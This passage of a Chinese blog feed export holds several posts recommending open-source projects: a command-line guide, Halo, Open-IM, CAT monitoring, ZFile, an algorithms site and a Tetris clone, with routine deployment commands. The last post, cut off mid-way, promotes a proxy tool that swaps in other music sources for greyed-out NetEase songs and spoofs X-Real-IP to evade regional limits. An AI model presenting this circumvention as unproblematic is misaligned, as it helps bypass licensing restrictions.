<link href="/blog/2022/01/23/guan-yu-ming-ling-xing-de-yi-qie-du-zai-zhe-pian-101k-de-wen-dang-li-liao/"/>
<url>/blog/2022/01/23/guan-yu-ming-ling-xing-de-yi-qie-du-zai-zhe-pian-101k-de-wen-dang-li-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔。</p><p>这些天小妹在我的不断敲打之下,开始系统地研究起了 Linux 命令行。终于不用在每次登录远端服务器时总拉着我问各种命令怎么敲了。授人以鱼不如授人以渔,我也是把我珍藏已久的命令行攻略分享给了小妹,让她如获至宝。</p><p>那么今天我也把这篇拥有 101k 个⭐️的命令行秘籍分享给大家:《the art of command line——命令行的艺术》。</p><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>这份开源文档既然被称作命令行的艺术,那么他注定就不是那种字典型的命令行使用大全,或者用于索引的手册。</p><p>按照官方描述,这篇文档主要内容是:</p><blockquote><p>一些命令行使用技巧的摘要。有些技巧非常基础,而另一些则相当复杂,甚至晦涩难懂。这篇文章并不长,但当你能够熟练掌握这里列出的所有技巧时,你就学会了很多关于命令行的东西了。</p></blockquote><p>所谓命令行的使用技巧,即:在什么场景下,使用什么命令能够更高效快捷的达到你的目的。文档会基于实战应用的场景,告诉你应该掌握哪些基础的命令知识,以及一些你从未见过但是能达到奇妙效果的命令。</p><h1 id="部分内容摘录"><a href="#部分内容摘录" class="headerlink" title="部分内容摘录"></a>部分内容摘录</h1><p>文档基础部分的信息量极大,每句话都是精炼的总结。比如:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-2919060.png" alt="img"></p><p>这几句话包含了很多命令,并对各个命令进行了归类。就像一个目录,让你知道你应该掌握哪些命令,从而在日常工作中进行实际运用。</p><p>日常使用部分,会描述一些命令的日常使用方式</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220123142420918.png" alt="img"></p><p>文件及数据处理部分,会给出一些好用的命令行工具,去处理一些日常的数据,例如:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220123142420729.png" alt="img"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>命令行的艺术不仅能帮助刚接触命令行的新手,而且对具有经验的人也大有裨益。非常建议每个需要接触Linux命令的朋友都详细的阅读学习一下。在公众号后台回复「命令行」即可获取项目地址,一起学习吧!</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>这款开源博客从部署到访问只要300秒?我不信!</title>
<link href="/blog/2022/01/23/zhe-kai-yuan-bo-ke-cong-bu-shu-dao-fang-wen-zhi-yao-300-miao-wo-bu-xin/"/>
<url>/blog/2022/01/23/zhe-kai-yuan-bo-ke-cong-bu-shu-dao-fang-wen-zhi-yao-300-miao-wo-bu-xin/</url>
<content type="html"><![CDATA[<p>大家好,我是喜欢写博客的开源大叔。</p><p>作为一名成熟的程序员,自然是要有一个自己的技术博客,来总结自己平时遇到的问题以及学到的知识。这样既能沉淀自己的技术,也可以帮助别人。正好手里有一台闲置的云服务器,部署一个小型的博客绰绰有余了。</p><p>其实开源的博客系统有很多,经过几天的找寻和试用,我准备把自己最终选择的博客系统推荐给你们——Halo。</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>Halo 是一款 Java 开发的现代化的开源博客/ CMS 系统,轻快,简洁,功能强大。</p><p>使用了一段时间,大叔帮大家总结一下 Halo 的优点:</p><ol><li>部署方便快捷。Halo 只是一个 80Mb 的 jar 包,直接在服务器运行即可启动。它内置了 H2 数据库,所以也不用部署 MySQL 等数据库服务。同时他也支持 Docker 部署,很赞。</li><li>后台管理简洁方便。支持 Markdown 格式文章编辑,附件系统支持本地上传和其他云存储。</li><li>简单的 SEO 配置,可以在发布文章时设置 SEO 关键词。</li><li>方便快捷的全站备份。</li><li>主题多,支持在线安装和主题升级,让你的博客样式大放异彩。</li></ol><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220123142557129.png" alt="img"></p><h2 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h2><h3 id="Jar启动"><a href="#Jar启动" class="headerlink" title="Jar启动"></a>Jar启动</h3><p>部署很简单,如果是 jar 包部署,则先从项目 GitHub 库中下载安装包 halo-1.4.17.jar,执行命令:</p><pre class=" language-Apache"><code class="language-Apache">java -jar halo-1.4.17.jar</code></pre><p>要注意,1.4.3 版本以下是需要 JDK8 环境,1.4.3 版本以上需要 JDK11 环境。所以出现这个报错时不要慌,先检查一下你部署的服务器(或者本地机器)上 JDK 的版本是否支持当前版本的 Halo。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220123142555487.png" alt="img"></p><h3 id="Docker-启动"><a href="#Docker-启动" class="headerlink" title="Docker 启动"></a>Docker 启动</h3><p>Halo 也支持 Docker 部署,如果你更熟悉 Docker,可以选择这个方式。命令:</p><pre class=" language-Apache"><code class="language-Apache">docker run -it -d --name halo -p 8090:8090 -v ~/.halo:/root/.halo --restart=always halohub/halo</code></pre><h2 id="博客初始化"><a href="#博客初始化" class="headerlink" title="博客初始化"></a>博客初始化</h2><p>启动成功后,博客地址默认是 <a href="http://127.0.0.1:8090。">http://127.0.0.1:8090。</a></p><p>如果是初次访问,会进入安装向导。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220123142556328.png" alt="img"></p><p>用户名和密码是以后登录后台用的,一定不要忘了。</p><p>安装完成后,登录进入后台的界面,非常简洁了。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220123142556344.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>博客初始化完成,就可以尽情的使用了。因为后台十分简单,大家摸索一下很容易上手,我就不赘述啦。</p><p>大叔之所以选择这个博客系统,主要是因为方便易用。写博客的重点在于内容,我想把优质的内容方便快捷的呈现在互联网上。所以Halo 最吸引我的地方就是轻量小巧,内置数据库,部署方便。从下载jar 包到部署、初始化、发布文章一共也就用了不到 5 分钟的时间;其次是更换主题方便,简单安装就有好看的界面呈现给大家;而且它是 Java 的开源项目,有啥不满意的我改起来也很方简单哈哈。</p><p>所以赶快去公众号后台回复「halo」获取项目地址,尝试一下吧!</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>各位卷王你确定不进来看看?</title>
<link href="/blog/2022/01/18/ge-wei-juan-wang-ni-que-ding-bu-jin-lai-kan-kan/"/>
<url>/blog/2022/01/18/ge-wei-juan-wang-ni-que-ding-bu-jin-lai-kan-kan/</url>
<content type="html"><![CDATA[<p>各位卷王大家好,我是爱撸码的开源大叔!</p><p>虽然我爱撸码,也爱卷,但是!今天我可不想做卷王,今天我们不聊技术,我们回味童年,我们打游戏!</p><h2 id="回忆篇"><a href="#回忆篇" class="headerlink" title="回忆篇"></a>回忆篇</h2><p>哎,这人一老呀,就是喜欢怀旧,前两天我想到了一个场景:“我小的时候,蹲在我家的某个墙角,手里拿着那种放五号电池的游戏机,疯狂的玩俄罗斯方块”,想到这个场景的时候,就把我带到了那个充满欢声笑语的童年中去了,就在我沉浸其中的时候,耳边突然传来了一个不和谐的声音:“xxx,你的程序出 bug 了!” 这一句话把我从梦中惊醒,老老实实的去搬砖了。。。</p><h2 id="再续前“缘”"><a href="#再续前“缘”" class="headerlink" title="再续前“缘”"></a>再续前“缘”</h2><p>等我改完 bug 之后,我还是久久不能忘记那种感觉,很想过两把俄罗斯方块的瘾,但是我找不到以前那种游戏机了啊,这可怎么办?我抱着试试看的心态去万能的 GitHub 上搜了搜,哈哈,果然,有大佬跟我一样也喜欢怀旧,不仅游戏方式一样,就连外观都跟我小时候用的游戏机一样!</p><p>你瞅瞅,这音效(声音我帮你听了),顿挫的效果,全都有,简直了真是!</p><p><img src="https://mmbiz.qpic.cn/mmbiz_gif/4XgGs2SeJoHkAPxmAnicIsibWrauweVWt0dhZAetbR7goLicvmOrOibHOADnoy1CJhBRzZzAxTic4ucKMRwicLJA5cwg/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1" alt="图片"></p><h2 id="时代在进步"><a href="#时代在进步" class="headerlink" title="时代在进步"></a>时代在进步</h2><p>小时候,每次玩的时候,得到高分之后,就要一直玩下去,也不能记录一下,休息一下等有时间再玩。现在可好了,真是时代在进步啊,俄罗斯方块也有了记忆功能!</p><p><img src="https://mmbiz.qpic.cn/mmbiz_gif/4XgGs2SeJoHkAPxmAnicIsibWrauweVWt0jBMIJNI4TRZCapy1Sib5U7uVUS4y52ShK25t0lNMxxMnUJZ2dN2sQmw/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1" alt="图片"></p><p>通过订阅 store.subscribe,将 state 储存在 localStorage,精确记录所有状态。网页关了刷新了、程序崩溃了、手机没电了,重新打开连接,都可以继续。</p><p>不仅如此,页面还是响应式的,不仅指屏幕的自适应,而是在PC使用键盘、在手机使用手指的响应式操作:</p><p><img src="https://mmbiz.qpic.cn/mmbiz_gif/4XgGs2SeJoHkAPxmAnicIsibWrauweVWt04NewD062Ae2GM1eUmRISMsRqnPpmE9lpVfoZRAiaBXctk5haVnSPbfA/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1" alt="图片"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>生活不止有内卷,也要学会适当休息一下,怀念一下我们逝去的童年,完成一下小时候没有实现的小目标。在公号后台回复<code>「俄罗斯方块」</code>即可获取游戏地址~~再挑战一下小时候的自己!</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>这款 8W Fork 的即时通讯(IM)项目,让你轻松打造自己的聊天App!</title>
<link href="/blog/2022/01/16/zhe-kuan-8w-fork-de-ji-shi-tong-xun-im-xiang-mu-rang-ni-qing-song-da-zao-zi-ji-de-liao-tian-app/"/>
<url>/blog/2022/01/16/zhe-kuan-8w-fork-de-ji-shi-tong-xun-im-xiang-mu-rang-ni-qing-song-da-zao-zi-ji-de-liao-tian-app/</url>
<content type="html"><![CDATA[<p>大家好呀,我是的开源小妹。</p><p>最近新做了一个 APP,其中需要使用上高性能、高安全的即时通讯功能。我进行了一轮技术选型,其中包括腾讯 IM 等云服务商提供的 IM 产品。</p><p>最终因为 IM 云服务收费的高企,囊中羞涩的小妹最终决定使用一款由前微信技术专家打造的<strong>免费开源</strong>的即时通讯组件:<strong>Open-IM</strong>。</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>Open-IM 的创始团队来自<strong>前微信高级架构师</strong>、IM / WebRTC 专家团队,打造<strong>轻量级、高可用</strong>的 IM 架构,开发者只需简单调用 SDK,即可在应用内构建多种即时通讯及实时音视频互动场景。</p><p>Open-IM 拥有以下几点特色:</p><h3 id="(1)开源永久免费"><a href="#(1)开源永久免费" class="headerlink" title="(1)开源永久免费"></a>(1)开源永久免费</h3><p>代码全部开源,永久免费,包括客户端和服务端,由前微信技术专家打造,并邀请全球技术极客参与建设。</p><h3 id="(2)易扩展"><a href="#(2)易扩展" class="headerlink" title="(2)易扩展"></a>(2)易扩展</h3><p>服务端采用golang实现,首创“一切皆消息”的通讯模型,轻松实现自定义消息和扩展功能。</p><h3 id="(3)技术服务"><a href="#(3)技术服务" class="headerlink" title="(3)技术服务"></a>(3)技术服务</h3><p>每个技术人员都承担技术客服的角色,强化社区,不提工单,及时解答。</p><h3 id="(4)高性能"><a href="#(4)高性能" class="headerlink" title="(4)高性能"></a>(4)高性能</h3><p>借鉴并优化通讯架构,抽象在线消息、离线消息、历史消息存储模型,分层治理架构,支持集群部署。</p><h3 id="(5)安全"><a href="#(5)安全" class="headerlink" title="(5)安全"></a>(5)安全</h3><p>代码全部开源,服务端私有化部署,数据自我掌控。未来加入全球最安全的signal端到端加密协议。</p><h3 id="(6)全平台支持"><a href="#(6)全平台支持" class="headerlink" title="(6)全平台支持"></a>(6)全平台支持</h3><p>支持 <strong>Andorid</strong>、<strong>iOS</strong> 原生开发,支持 <strong>Flutter</strong>、<strong>uni-app</strong> 跨端开发,支持小程序、React 等所有主流 web 前端技术框架, PC支持 <strong>Electron</strong>。</p><h2 id="架构"><a href="#架构" class="headerlink" title="架构"></a>架构</h2><p>即时通讯是一项需要高性能和高可靠的架构支撑的业务,所以一个能够很好解决业务解耦和组件解耦的架构尤其重要!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/Billfish.rDpdot.png"></p><p>Open-IM 的服务端由接入层、逻辑层和存储层组成,好处在于各个层次能够依据业务特点专注于自己的事情,提高系统复用性,降低业务间的耦合。</p><p>(1)接入层:消息通过 websocket 协议接入,其他通过 http/https 协议接入,消息是高频及核心功能,通过双协议路由,体现了轻重分离的设计思想。</p><p>(2)逻辑层:通过 rpc 实现无状态逻辑服务,易于平行扩展,消息通过 MQ 解耦。</p><p>(3)存储层:redis 存储 token 和 seq;mongodb 存储离线消息,并定时删除 14 天(可自行配置)前数据;mysql 存储全量历史消息以及用户相关资料。数据分层存储,充分利用不同存储组件的特性。</p><p>(4)Etcd:服务注册和发现、以及分布式配置中心。</p><h2 id="快速试用"><a href="#快速试用" class="headerlink" title="快速试用"></a>快速试用</h2><ol><li>准备 Linux 系统,保证可用内存 2G 以上。</li><li>安装 Docker 版本 1.13 以上,Docker-Compose 版本 1.22 以上。</li><li>一键部署:<pre class=" language-bash"><code class="language-bash"><span class="token function">git</span> clone https://github.com/OpenIMSDK/Open-IM-Server.git --recursive<span class="token punctuation">;</span> <span class="token function">cd</span> Open-IM-Server/script<span class="token punctuation">;</span><span class="token function">chmod</span> +x *.sh<span class="token punctuation">;</span> ./env_check.sh<span class="token punctuation">;</span><span class="token function">cd</span> <span class="token punctuation">..</span><span class="token punctuation">;</span> docker-compose up -d<span class="token punctuation">;</span><span class="token function">cd</span> script<span class="token punctuation">;</span> ./docker_check_service.sh<span class="token punctuation">;</span></code></pre></li><li>可下载官方自带的 Demo 客户端使用。</li></ol><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>现在越来越讲究「互连」和「社交」,所以即时通讯的功能必定有更多的使用场景和需求。既然云服务商的 IM 服务费用如此高企,为何不来试试这一款免费开源的高性能 IM 组件呢?感兴趣的小伙伴赶快在公众号后台回复「<code>open-im</code>」来获取这款优秀的开源项目地址吧!</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>一文带你了解Cat分布式监控</title>
<link href="/blog/2022/01/16/yi-wen-dai-ni-liao-jie-cat-fen-bu-shi-jian-kong/"/>
<url>/blog/2022/01/16/yi-wen-dai-ni-liao-jie-cat-fen-bu-shi-jian-kong/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>作为程序员肯定会遇到以下的问题:</p><p><strong>场景一</strong>:用户反馈 App 无法下单,用户反馈无法支付,用户反馈商品无法搜索等问题。</p><p>这个问题在于当系统出现问题后,第一反馈的总是用户。我们需要做的是什么,是在出问题后研发第一时间知晓,而不是让用户来告诉我们出问题了。</p><p><strong>场景二</strong>:出故障后如何快速定位问题。</p><p>一般传统的方式当出现问题后,我们就会去服务器看看日志是否有异常信息。</p><p><strong>场景三</strong>:用户反馈订单列表要 10 几秒才展示,用户反馈下单一直在转圈圈。</p><p>这个属于优化相关,对于研发来说,优化是一个长期的过程,没有最好只有更好。优化除了需要有对应的方案,最重要的是要对症下药。</p><p>今天大叔给大家推荐美团开发的实时应用监控平台 – CAT。目前在 GitHub 上累计 star16.3k。</p><h3 id="Cat-是什么?"><a href="#Cat-是什么?" class="headerlink" title="Cat 是什么?"></a>Cat 是什么?</h3><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201162022055.png"></p><p>CAT(Central Application Tracking)是基于 Java 开发的实时应用监控平台,包括实时应用监控,业务监控。</p><p>CAT 作为服务端项目基础组件,提供了 Java, C/C++, Node.js, Python, Go 等多语言客户端,已经在美团点评的基础架构中间件框架(MVC 框架,RPC 框架,数据库框架,缓存框架等,消息队列,配置系统等)深度集成,为美团点评各业务线提供系统丰富的性能指标、健康状况、实时告警等。</p><p>CAT 很大的优势是它是一个实时系统,CAT 大部分系统是分钟级统计,但是从数据生成到服务端处理结束是秒级别,秒级定义是 48 分钟 40 秒,基本上看到 48 分钟 38 秒数据,整体报表的统计粒度是分钟级;第二个优势,监控数据是全量统计,客户端预计算;链路数据是采样计算。</p><h3 id="Cat-功能亮点"><a href="#Cat-功能亮点" class="headerlink" title="Cat 功能亮点"></a>Cat 功能亮点</h3><ul><li>实时处理:信息的价值会随时间锐减,尤其是事故处理过程中。</li><li>全量数据:全量采集指标数据,便于深度分析故障案例。</li><li>高可用:故障的还原与问题定位,需要高可用监控来支撑。</li><li>故障容忍:故障不影响业务正常运转、对业务透明。</li><li>高吞吐:海量监控数据的收集,需要高吞吐能力做保证。</li><li>可扩展:支持分布式、跨 IDC 部署,横向扩展的监控系统。</li></ul><h3 id="架构设计"><a href="#架构设计" class="headerlink" title="架构设计"></a>架构设计</h3><p>整个CAT主要分为三个模块,cat-client,cat-consumer,cat-home。</p><ul><li>cat-client 客户端,提供给业务以及中间层埋点的底层sdk,上报监控数据。</li><li>cat-consumer 服务端,用于实时分析从客户端提供的数据。</li><li>cat-home 管理端,作为用户提供给用户的展示的控制端。</li></ul><p>cat-consumer和cat-home是部署在一个jvm内部,每个CAT服务端都可以作为consumer也可以作为home,这样既能减少整个CAT层级结构,也可以增加整个系统稳定性。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201162028699.png"></p><h3 id="报表介绍"><a href="#报表介绍" class="headerlink" title="报表介绍"></a>报表介绍</h3><h4 id="Transaction报表"><a href="#Transaction报表" class="headerlink" title="Transaction报表"></a>Transaction报表</h4><p>监控一段代码运行情况:运行次数、QPS、错误次数、失败率、响应时间统计(平均影响时间、Tp分位值)等等。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201162036627.png"></p><h4 id="Heartbeat报表"><a href="#Heartbeat报表" class="headerlink" title="Heartbeat报表"></a>Heartbeat报表</h4><p>Heartbeat报表是CAT客户端,以一分钟为周期,定期向服务端汇报当前运行时候的一些状态。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201162040191.png"></p><h4 id="Business报表"><a href="#Business报表" class="headerlink" title="Business报表"></a>Business报表</h4><p>Business报表对应着业务指标,比如订单数量、监控订单耗时等。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201162043267.png"></p><h3 id="Problem-报表"><a href="#Problem-报表" class="headerlink" title="Problem 报表"></a>Problem 报表</h3><p>Problem记录整个项目在运行过程中出现的问题,包括一些异常、错误、访问较长的行为。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201162044512.png"></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>Cat 能够帮助研发人员减少故障发现时间,降低故障定位成本,合理、灵活的监控规则可以帮助更快、更精确的发现业务线上故障。感兴趣的小伙伴,在公众号后台回复「<strong>监控</strong>」即可获取项目地址~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>拒绝充钱提速,快来搭建自己的网络云盘!!</title>
<link href="/blog/2022/01/09/ju-jue-chong-qian-ti-su-kuai-lai-da-jian-zi-ji-de-wang-luo-yun-pan/"/>
<url>/blog/2022/01/09/ju-jue-chong-qian-ti-su-kuai-lai-da-jian-zi-ji-de-wang-luo-yun-pan/</url>
<content type="html"><![CDATA[<p>Hello,大家好呀!我是可爱又机灵的开源小妹,今天又来给大家分享开源项目啦。</p><p>说起百度网盘,想必大家都对那蜗牛般的下载速度咬牙切齿 o(≧口≦)o,每次看到那一百出头的下载速度,我就想着如果我自己有自己的网盘就好了,安心又快速!</p><p>所以今天小妹给大家介绍一款开源免费的自建网盘项目:ZFile</p><h2 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h2><p>ZFile 是一个在线文件网盘,支持各种对象存储和本地存储,使用定位是个人的文件库。除了支持本地存储文件,也支持现主流的存储云服务,如阿里云的 OSS 对象存储。</p><p>除了最基础的存储功能,还提供了如搜索、加密、在线图文、在线视频、视频字幕等使用功能。</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/d77007b8-30b6-4548-94a6-60643cfc5e94/Billfish.JhGHPv.png" alt="Billfish.JhGHPv.png"></p><h2 id="项目功能"><a href="#项目功能" class="headerlink" title="项目功能"></a>项目功能</h2><p>本项目是基于 Vue + SpringBoot 开发,数据库采用内嵌数据库,同时支持以下这些功能:</p><ul><li>支持 Docker 部署</li><li>文件数据库 (免安装)</li><li>直链功能</li><li>图片模式</li><li>文件夹密码</li><li>忽略文件夹</li><li>自定义 JS, CSS</li><li>支持在线浏览文本文件, 视频, 图片, 音乐(支持 FLV 和 HLS)</li><li>文件 / 目录二维码</li><li>同时挂载多个存储策略</li><li>动态开启缓存</li><li>支持 S3 协议, 阿里云 OSS, FTP, 华为云 OBS, 本地存储, MINIO, OneDrive 国际/家庭/个人版/世纪互联版/SharePoint, 七牛云 KODO, 腾讯云 COS, 又拍云 USS</li></ul><h2 id="功能预览"><a href="#功能预览" class="headerlink" title="功能预览"></a>功能预览</h2><h3 id="支持在线查看图片"><a href="#支持在线查看图片" class="headerlink" title="支持在线查看图片"></a>支持在线查看图片</h3><p>除了查看 JPG, PNG 等格式的图片外,也支持在看预览 GIF 图片。</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/bb6e4a8b-9844-4e5f-9285-ec27f35a058a/Untitled.png" alt="Untitled"></p><h3 id="支持在线听音频"><a href="#支持在线听音频" class="headerlink" title="支持在线听音频"></a>支持在线听音频</h3><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/a7af871f-72a1-491b-9a7b-480513992f6a/Untitled.png" alt="Untitled"></p><h3 id="支持在线看视频"><a href="#支持在线看视频" class="headerlink" title="支持在线看视频"></a>支持在线看视频</h3><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/648075f8-74cc-4e1a-8b04-c0c3e6741158/Untitled.png" alt="Untitled"></p><h3 id="文本预览"><a href="#文本预览" class="headerlink" title="文本预览"></a>文本预览</h3><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/63587fdc-ea67-4a8f-8e49-d613602dbd89/Untitled.png" alt="Untitled"></p><h2 id="快速安装"><a href="#快速安装" class="headerlink" title="快速安装"></a>快速安装</h2><ol><li>下载安装文件</li><li>启动项目:<code>java -Dfile.encoding=utf-8 -jar -Dserver.port=8080 .\zfile-release.jar</code></li></ol><p>是不是很简单,大家赶快去试试看吧!</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>这就是小妹今天介绍的 ZFile 开源网盘项目,对百度云盘体验不满的小伙伴们,赶快去尝尝鲜吧!如果有什么不满足自己需求的地方,Java + SpringBoot + Vue 的技术选型对大家来说,修改项目的学习成本就大大减小了!</p><p>想体验这款开源但强大的个人网盘项目,还不赶快去公众号后台回复「zfile」获取项目源码地址!</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>GitHub 上最大的算法开源库</title>
<link href="/blog/2022/01/09/github-shang-zui-da-de-suan-fa-kai-yuan-ku/"/>
<url>/blog/2022/01/09/github-shang-zui-da-de-suan-fa-kai-yuan-ku/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p>对于大部分程序员而言,<strong>算法在工作中不是必须的</strong>,但是你要找工作,特别是刚毕业参加校招的学生,想进入一些比较大的公司,是<strong>必须要学好算法的</strong>。</p><p>此外,在提高自我技术水平的过程中,比如去阅读一些优秀的代码的时候,也是需要算法功底的,就像去看redis源码的时候,起码得知道跳表吧。</p><p>算法学的好,<strong>不论对你思考问题的方式还是对你编程的思维都会有很大的好处。</strong></p><p>今天大叔给大家推荐一个学习算法的开源网站,在这个网站上面,收录了包括 Python、Java、C++、JavaScript、Go 等多种主流编程语言的算法代码实现。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201092206500.png" alt="image-20220109195655004"></p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>网站提供了排序、搜索、动态规划、数据结构等多种分类,便于开发者根据自身情况,筛选个人感兴趣的领域深入学习。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201092210081.png" alt="image-20220109221055161"></p><p>同样,当你开始学习单个算法时,页面上会给出问题描述、实现方法、时间与空间复杂度、代码示例、GitHub 链接、以及视频动画解说等内容。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201092128501.png" alt="image-20220109212835696"></p><p>在编辑区的下方可以自由切换语言。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201092127342.png" alt="image-20220109212732975"></p><p>你可以在上面随心所欲的编写代码,网站提供的代码自动补全、语法高亮、可交互式编程体验做的还是蛮不错的。运行之后,便可在右侧看到实时输出效果。对于整个学习过程可以说没有任何阻碍。</p><p>网站还提供了暗黑与明亮两种主题供用户选择,满足同开发人员的喜好。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201092146276.png" alt="image-20220109214607224"></p><p>我们再来看看,目前 Java 实现的算法。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202201092150684.png" alt="image-20220109215023318"></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>网站上面提供的算法,以及覆盖的编程语言、相关扩展学习资源,还是很全面的。要是能把这些算法都刷一遍,相信大家都能拿到满意的offer!</p><p>感兴趣的小伙伴们,在公号后台回复「算法」即可获取项目地址吧~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>解锁网易云音乐,这个项目牛了~~</title>
<link href="/blog/2022/01/06/jie-suo-wang-yi-yun-yin-le-zhe-ge-xiang-mu-niu-liao/"/>
<url>/blog/2022/01/06/jie-suo-wang-yi-yun-yin-le-zhe-ge-xiang-mu-niu-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是美丽又可爱的开源小妹!</p><p>相信应该有很多朋友和小妹一样,听歌喜欢用网易云音乐,但是由于各种各样的限制,相信很多人在听歌的时候也注意到了,经常会有喜欢的歌曲下架<strong>变成灰色</strong>,无法播放如下图所示:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741823.png"></p><p>今天小妹就给大家推荐一款可以解锁这些灰色歌曲的开源工具 - Unlock-netease-cloud-music。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>这个项目的作用很简单直接:<strong>解锁网易云音乐客户端变灰歌曲,全平台通用</strong>。<br>需要用到<code>node</code>环境。</p><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>这个工具其实并非采用了破解的手段,而是使用其他有效的音源替换灰色的歌曲链接,说白了就是做了个替换而已。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741463.png"></p><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><ul><li>使用 QQ / 虾米 / 百度 / 酷狗 / 酷我 / 咪咕 / JOOX 音源替换变灰歌曲链接 (默认仅启用一、五、六)</li><li>为请求增加 X-Real-IP 参数解锁海外限制,支持指定网易云服务器 IP,支持设置上游 HTTP / HTTPS 代理</li><li>完整的流量代理功能 (HTTP / HTTPS),可直接作为系统代理 (同时支持 PAC)</li></ul><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><p>小妹这里仅仅介绍下win系统的一种方法,其他系统的可以去项目主页进行查看。</p><h3 id="1、打开网易云音乐客户端,进入设置页面,设置自定义代理"><a href="#1、打开网易云音乐客户端,进入设置页面,设置自定义代理" class="headerlink" title="1、打开网易云音乐客户端,进入设置页面,设置自定义代理"></a>1、打开网易云音乐客户端,进入设置页面,设置自定义代理</h3><p>自定义代理 :填写服务器地址和端口号</p><p>代理服务器地址:127.0.0.1</p><p>代理服务器端口:52000</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741443.png"></p><h3 id="2、安装node-js"><a href="#2、安装node-js" class="headerlink" title="2、安装node.js"></a>2、安装node.js</h3><p>官方网站:<a href="http://nodejs.cn/download/">http://nodejs.cn/download/</a></p><p>下载后双击软件安装包打开安装,一直点下一步直到完成即可。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741520.png"></p><h3 id="3、下载项目源码"><a href="#3、下载项目源码" class="headerlink" title="3、下载项目源码"></a>3、下载项目源码</h3><p>下载后解压到任意文件夹,双击点开Unlock-netease-cloud-music文件夹中名为:网易☁🎵.bat 的文件。</p><p><img 